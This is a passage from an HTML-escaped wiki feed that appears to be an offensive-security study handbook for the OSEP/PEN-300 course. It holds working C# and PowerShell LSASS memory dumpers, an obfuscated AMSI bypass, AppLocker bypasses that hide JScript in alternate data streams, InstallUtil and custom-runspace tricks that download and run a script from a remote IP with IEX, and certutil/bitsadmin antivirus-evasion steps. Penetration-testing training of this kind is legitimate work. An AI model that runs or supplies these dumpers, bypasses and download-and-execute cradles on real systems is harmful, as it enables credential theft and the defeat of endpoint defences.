        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2363</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2363"/>
		<updated>2026-05-11T17:48:12Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* ASPX */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
